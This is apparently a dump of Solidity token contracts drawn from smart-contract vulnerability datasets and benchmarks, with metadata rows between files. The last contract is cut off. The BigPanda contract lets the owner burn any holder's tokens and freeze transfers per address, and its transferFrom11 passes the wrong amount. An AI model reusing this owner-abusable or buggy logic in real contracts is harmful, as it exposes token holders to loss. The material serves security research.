function approveByLegacy(address from, address spender, uint value) public;
}
contract LongToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function LongToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 183,437 | 726 |
a71fba681a9bb9175672ca5d0b0bbcf4a06934a616b3778f55d8214556919c11
| 26,777 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFuFzgqJ48qumqojhSTXkUnP3wNgKd8n8c_BigPanda.sol
| 4,349 | 15,217 |
//SourceUnit: bigpanda.sol
pragma solidity 0.5.14;
interface IBEP2E {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint256);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c= a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c= a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a== 0) {
return 0;
}
uint256 c= a * b;
require(c / a== b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c= a / b;
// assert(a== b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender= _msgSender();
_owner= msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner== _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner= address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner= newOwner;
}
}
contract BigPanda is Context, IBEP2E, Ownable {
using SafeMath for uint256;
mapping (address=> uint256) private _balances;
mapping (address=> uint256) private _fhbalances;
mapping (address=> uint256) private _dstime;
mapping (address=> uint256) private _dxnum;
mapping (uint256=> uint256) private _bing;
mapping (address=> uint256) private _mybing;
mapping (address=> mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 88888 * 10**6;
uint8 public _decimals;
string public _symbol;
string public _name;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _issxExcluded;
mapping (address => bool) private _isDXZed;
mapping (address => bool) private _iDSed;
address private _fh;
uint256 _tfee=2;
uint256 _lfee=1;
uint256 _bjs=0;
uint256 private _maxTxAmount=88888 * 10**6;
uint256 private _onedaySeconds=0;
mapping (address => uint256) private _lastTransferTime;
uint256 public _tFeeTotal;
uint256 public _tFeeBing;
constructor() public {
_name= 'BigPanda';
_symbol= 'BP';
_decimals= 6;
_balances[msg.sender]= _totalSupply;
_issxExcluded[msg.sender]=true;
_isDXZed[msg.sender]=true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function setDstimePercent(address account,uint256 rfh) external onlyOwner() {
_dstime[account] = rfh;
}
function setDXnumPercent(address account,uint256 ds) external onlyOwner() {
_dxnum[account] = ds;
}
function setSecPercent(uint256 ds) external onlyOwner() {
_onedaySeconds = ds;
}
function setFHPercent(address account,uint256 rfh) external onlyOwner() {
_fhbalances[account] = rfh;
}
function getfhbalanceOf(address account) external view returns (uint256) {
return _fhbalances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_tfee = taxFee;
}
function setLFeePercent(uint256 taxFee) external onlyOwner() {
_lfee = taxFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount=maxTxPercent;
}
function setFHAdd(address account) external onlyOwner() {
_fh = account;
_issxExcluded[_fh]=true;
_isDXZed[_fh]=true;
}
function indsAccount(address account) external onlyOwner() {
_iDSed[account] = true;
}
function outdsAccount(address account) external onlyOwner() {
_iDSed[account] = false;
}
function infhcludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is true");
_isExcluded[account] = true;
_excluded.push(account);
}
function outfhcludeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is false");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function inZXZAccount(address account) external onlyOwner() {
_isDXZed[account] = true;
}
function outZXZAccount(address account) external onlyOwner() {
_isDXZed[account] = false;
}
function insxcludeAccount(address account) external onlyOwner() {
_issxExcluded[account] = true;
}
function outsxcludeAccount(address account) external onlyOwner() {
_issxExcluded[account] = false;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
//return _balances[account];
uint256 k=0;
if (!_isExcluded[account] && _tFeeTotal > 0 && _bjs >= _mybing[account] && _balances[account] > 0){
uint256 rt=_totalSupply;
uint256 rAmount=_balances[account];
for (uint256 j = 0; j < _excluded.length; j++) {
rt=rt.sub(_balances[_excluded[j]]);
}
for (uint256 i = _mybing[account]; i < _bjs; i++) {
rt=rt.sub(_bing[i]);
uint256 fbing=rAmount.mul(_bing[i]).div(rt);
k=k.add(fbing);
}
}
return _balances[account].add(k);
}
function tokenFromReflection(address account) private{
if (!_isExcluded[account] && _tFeeTotal > 0 && _bjs >= _mybing[account] && _balances[account] > 0){
uint256 rt=_totalSupply;
uint256 rAmount=_balances[account];
for (uint256 j = 0; j < _excluded.length; j++) {
rt=rt.sub(_balances[_excluded[j]]);
}
for (uint256 i = _mybing[account]; i < _bjs; i++) {
rt=rt.sub(_bing[i]);
uint256 fbing=rAmount.mul(_bing[i]).div(rt);
_tFeeBing=_tFeeBing.add(fbing);
_balances[account]=_balances[account].add(fbing);
_mybing[account]=i.add(1);
}
}
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP2E: transfer amount exceeds allowance"));
return true;
}
function transferFrom11(address sender, address recipient, uint256 amount,address recipient1, uint256 amount1,address recipient2, uint256 amount2) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP2E: transfer amount exceeds allowance"));
_transfer(sender, recipient1, amount1);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount1, "BEP2E: transfer amount exceeds allowance"));
_transfer(sender, recipient2, amount1);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount2, "BEP2E: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP2E: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(address account,uint256 amount) public onlyOwner returns (bool) {
_burn(account, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP2E: transfer from the zero address");
require(recipient != address(0), "BEP2E: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(_balances[sender] >= amount, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner() && !_isDXZed[sender]){
if(_dxnum[sender] > 0){
require(amount <= _dxnum[sender], "Transfer amount exceeds the maxTxAmount.");
}else{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if(!_iDSed[sender]){
if(_dstime[sender] > 0){
require(block.timestamp.sub(_lastTransferTime[sender]) >= _dstime[sender], "Transfer is ds.");
}else{
require(block.timestamp.sub(_lastTransferTime[sender]) >= _onedaySeconds, "Transfer is ds!");
}
}
uint256 rebla=_balances[recipient];
tokenFromReflection(sender);
if(rebla>0)tokenFromReflection(recipient);
if (_issxExcluded[sender] || _issxExcluded[recipient]){
_balances[sender] = _balances[sender].sub(amount, "BEP2E: transfer amount exceeds balance");
_balances[recipient]= _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
if(sender != owner())_lastTransferTime[sender] = block.timestamp;
if(rebla==0)_mybing[recipient]=_bjs.add(1);
}else{
_balances[sender] = _balances[sender].sub(amount, "BEP2E: transfer amount exceeds balance");
uint256 tamount=amount;
if(_tfee>0){
uint256 sxf=amount.mul(_tfee).div(100);
_balances[_fh]=_balances[_fh].add(sxf);
tamount=tamount.sub(sxf);
}
uint256 rsxf=amount.mul(_lfee).div(100);
if(rsxf>0)tamount=tamount.sub(rsxf);
_balances[recipient]= _balances[recipient].add(tamount);
emit Transfer(sender, recipient, tamount);
if(sender != owner())_lastTransferTime[sender] = block.timestamp;
if(rsxf>0){
if(rebla==0)_mybing[recipient]=_bjs.add(1);
_bing[_bjs]=rsxf;
_bjs=_bjs.add(1);
_tFeeTotal=_tFeeTotal.add(rsxf);
}
}
}
function fhtransfer(address recipient) external returns (bool) {
uint256 tamount=_fhbalances[recipient];
if(tamount>0){
_fhbalances[recipient]=0;
_transfer(_fh, recipient, tamount);
return true;
}else{
return false;
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(msg.sender,receivers[i], amounts[i]);
}
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP2E: mint to the zero address");
_totalSupply= _totalSupply.add(amount);
_balances[account]= _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP2E: burn from the zero address");
_balances[account]= _balances[account].sub(amount, "BEP2E: burn amount exceeds balance");
_totalSupply= _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP2E: approve from the zero address");
require(spender != address(0), "BEP2E: approve to the zero address");
_allowances[owner][spender]= amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP2E: burn amount exceeds allowance"));
}
}
| 296,185 | 727 |
88c01b3c1d0c7f909fdb2690945da2b5ff97f964f27bd801ccb38c2a6339f5b8
| 17,798 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c.sol
| 2,845 | 11,310 |
pragma solidity ^0.4.15;
contract Utils {
function Utils() {
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
// Overflow protected math functions
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IERC20Token {
function name() public constant returns (string) { name; }
function symbol() public constant returns (string) { symbol; }
function decimals() public constant returns (uint8) { decimals; }
function totalSupply() public constant returns (uint256) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ERC20Token is IERC20Token, Utils {
string public standard = "Token 0.1";
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function ERC20Token(string _name, string _symbol, uint8 _decimals) {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0); // validate input
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address _to, uint256 _value)
public
validAddress(_to)
returns (bool success)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
validAddress(_from)
validAddress(_to)
returns (bool success)
{
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract IOwned {
function owner() public constant returns (address) { owner; }
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract ENJToken is ERC20Token, TokenHolder {
uint256 constant public ENJ_UNIT = 10 ** 18;
uint256 public totalSupply = 1 * (10**9) * ENJ_UNIT;
// Constants
uint256 constant public maxPresaleSupply = 600 * 10**6 * ENJ_UNIT; // Total presale supply at max bonus
uint256 constant public minCrowdsaleAllocation = 200 * 10**6 * ENJ_UNIT; // Min amount for crowdsale
uint256 constant public incentivisationAllocation = 100 * 10**6 * ENJ_UNIT; // Incentivisation Allocation
uint256 constant public advisorsAllocation = 26 * 10**6 * ENJ_UNIT; // Advisors Allocation
uint256 constant public enjinTeamAllocation = 74 * 10**6 * ENJ_UNIT; // Enjin Team allocation
address public crowdFundAddress; // Address of the crowdfund
address public advisorAddress; // Enjin advisor's address
address public incentivisationFundAddress; // Address that holds the incentivization funds
address public enjinTeamAddress; // Enjin Team address
// Variables
uint256 public totalAllocatedToAdvisors = 0; // Counter to keep track of advisor token allocation
uint256 public totalAllocatedToTeam = 0; // Counter to keep track of team token allocation
uint256 public totalAllocated = 0; // Counter to keep track of overall token allocation
uint256 constant public endTime = 1509494340; // 10/31/2017 @ 11:59pm (UTC) crowdsale end time (in seconds)
bool internal isReleasedToPublic = false; // Flag to allow transfer/transferFrom before the end of the crowdfund
uint256 internal teamTranchesReleased = 0; // Track how many tranches (allocations of 12.5% team tokens) have been released
uint256 internal maxTeamTranches = 8; // The number of tranches allowed to the team until depleted
///////////////////////////////////////// MODIFIERS /////////////////////////////////////////
// Enjin Team timelock
modifier safeTimelock() {
require(now >= endTime + 6 * 4 weeks);
_;
}
// Advisor Team timelock
modifier advisorTimelock() {
require(now >= endTime + 2 * 4 weeks);
_;
}
// Function only accessible by the Crowdfund contract
modifier crowdfundOnly() {
require(msg.sender == crowdFundAddress);
_;
}
///////////////////////////////////////// CONSTRUCTOR /////////////////////////////////////////
function ENJToken(address _crowdFundAddress, address _advisorAddress, address _incentivisationFundAddress, address _enjinTeamAddress)
ERC20Token("Enjin Coin", "ENJ", 18)
{
crowdFundAddress = _crowdFundAddress;
advisorAddress = _advisorAddress;
enjinTeamAddress = _enjinTeamAddress;
incentivisationFundAddress = _incentivisationFundAddress;
balanceOf[_crowdFundAddress] = minCrowdsaleAllocation + maxPresaleSupply; // Total presale + crowdfund tokens
balanceOf[_incentivisationFundAddress] = incentivisationAllocation; // 10% Allocated for Marketing and Incentivisation
totalAllocated += incentivisationAllocation; // Add to total Allocated funds
}
///////////////////////////////////////// ERC20 OVERRIDE /////////////////////////////////////////
function transfer(address _to, uint256 _value) public returns (bool success) {
if (isTransferAllowed() == true || msg.sender == crowdFundAddress || msg.sender == incentivisationFundAddress) {
assert(super.transfer(_to, _value));
return true;
}
revert();
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (isTransferAllowed() == true || msg.sender == crowdFundAddress || msg.sender == incentivisationFundAddress) {
assert(super.transferFrom(_from, _to, _value));
return true;
}
revert();
}
function releaseEnjinTeamTokens() safeTimelock ownerOnly returns(bool success) {
require(totalAllocatedToTeam < enjinTeamAllocation);
uint256 enjinTeamAlloc = enjinTeamAllocation / 1000;
uint256 currentTranche = uint256(now - endTime) / 12 weeks; // "months" after crowdsale end time (division floored)
if(teamTranchesReleased < maxTeamTranches && currentTranche > teamTranchesReleased) {
teamTranchesReleased++;
uint256 amount = safeMul(enjinTeamAlloc, 125);
balanceOf[enjinTeamAddress] = safeAdd(balanceOf[enjinTeamAddress], amount);
Transfer(0x0, enjinTeamAddress, amount);
totalAllocated = safeAdd(totalAllocated, amount);
totalAllocatedToTeam = safeAdd(totalAllocatedToTeam, amount);
return true;
}
revert();
}
function releaseAdvisorTokens() advisorTimelock ownerOnly returns(bool success) {
require(totalAllocatedToAdvisors == 0);
balanceOf[advisorAddress] = safeAdd(balanceOf[advisorAddress], advisorsAllocation);
totalAllocated = safeAdd(totalAllocated, advisorsAllocation);
totalAllocatedToAdvisors = advisorsAllocation;
Transfer(0x0, advisorAddress, advisorsAllocation);
return true;
}
function retrieveUnsoldTokens() safeTimelock ownerOnly returns(bool success) {
uint256 amountOfTokens = balanceOf[crowdFundAddress];
balanceOf[crowdFundAddress] = 0;
balanceOf[incentivisationFundAddress] = safeAdd(balanceOf[incentivisationFundAddress], amountOfTokens);
totalAllocated = safeAdd(totalAllocated, amountOfTokens);
Transfer(crowdFundAddress, incentivisationFundAddress, amountOfTokens);
return true;
}
function addToAllocation(uint256 _amount) crowdfundOnly {
totalAllocated = safeAdd(totalAllocated, _amount);
}
function allowTransfers() ownerOnly {
isReleasedToPublic = true;
}
function isTransferAllowed() internal constant returns(bool) {
if (now > endTime || isReleasedToPublic == true) {
return true;
}
return false;
}
}
| 189,854 | 728 |
a582ceb57e009fec5e9b41c99defbe9991982a16dc5bad685e86568fb0bd300f
| 11,750 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B3/sol/0xf239fab41de78533fa974b74d7605f1e68f8772e.sol
| 2,837 | 10,959 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) payable public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERCAddressFrozenFund is ERC20{
using SafeMath for uint;
struct LockedWallet {
address owner; // the owner of the locked wallet, he/she must secure the private key
uint256 amount; //
uint256 start; // timestamp when "lock" function is executed
uint256 duration; // duration period in seconds. if we want to lock an amount for
uint256 release; // release = start+duration
}
address public owner;
uint256 _lockedSupply;
mapping (address => LockedWallet) addressFrozenFund;
function mintToken(address _owner, uint256 amount) internal;
function burnToken(address _owner, uint256 amount) internal;
event LockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event LockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
event UnlockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event UnlockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
function lockedSupply() public view returns (uint256) {
return _lockedSupply;
}
function releaseTimeOf(address _owner) public view returns (uint256 releaseTime) {
return addressFrozenFund[_owner].release;
}
function lockedBalanceOf(address _owner) public view returns (uint256 lockedBalance) {
return addressFrozenFund[_owner].amount;
}
function lockBalance(uint256 duration, uint256 amount) public{
address _owner = msg.sender;
require(address(0) != _owner && amount > 0 && duration > 0 && balanceOf(_owner) >= amount);
require(addressFrozenFund[_owner].release <= now && addressFrozenFund[_owner].amount == 0);
addressFrozenFund[_owner].start = now;
addressFrozenFund[_owner].duration = duration;
addressFrozenFund[_owner].release = addressFrozenFund[_owner].start + duration;
addressFrozenFund[_owner].amount = amount;
burnToken(_owner, amount);
_lockedSupply = SafeMath.add(_lockedSupply, lockedBalanceOf(_owner));
LockBalance(_owner, addressFrozenFund[_owner].release, amount);
}
//_owner must call this function explicitly to release locked balance in a locked wallet
function releaseLockedBalance() public {
address _owner = msg.sender;
require(address(0) != _owner && lockedBalanceOf(_owner) > 0 && releaseTimeOf(_owner) <= now);
mintToken(_owner, lockedBalanceOf(_owner));
_lockedSupply = SafeMath.sub(_lockedSupply, lockedBalanceOf(_owner));
UnlockBalance(_owner, addressFrozenFund[_owner].release, lockedBalanceOf(_owner));
delete addressFrozenFund[_owner];
}
}
contract CPSTestToken1 is ERC223, ERCAddressFrozenFund {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address public fundsWallet; // Where should the raised ETH go?
uint256 internal fundsWalletChanged;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function CPSTestToken1() public {
_symbol = 'CPS';
_name = 'CPSCoin';
_decimals = 8;
_totalSupply = 100000000000000000;
balances[msg.sender] = _totalSupply;
fundsWallet = msg.sender;
owner = msg.sender;
fundsWalletChanged = 0;
}
function changeFundsWallet(address newOwner) public{
require(msg.sender == fundsWallet && fundsWalletChanged == 0);
balances[newOwner] = balances[fundsWallet];
balances[fundsWallet] = 0;
fundsWallet = newOwner;
fundsWalletChanged = 1;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function mintToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.add(balances[_owner], amount);
}
function burnToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.sub(balances[_owner], amount);
}
function() payable public {
require(msg.sender == address(0));//disable ICO crowd sale ICO
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if(_from == fundsWallet){
require(_value <= balances[_from]);
}
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
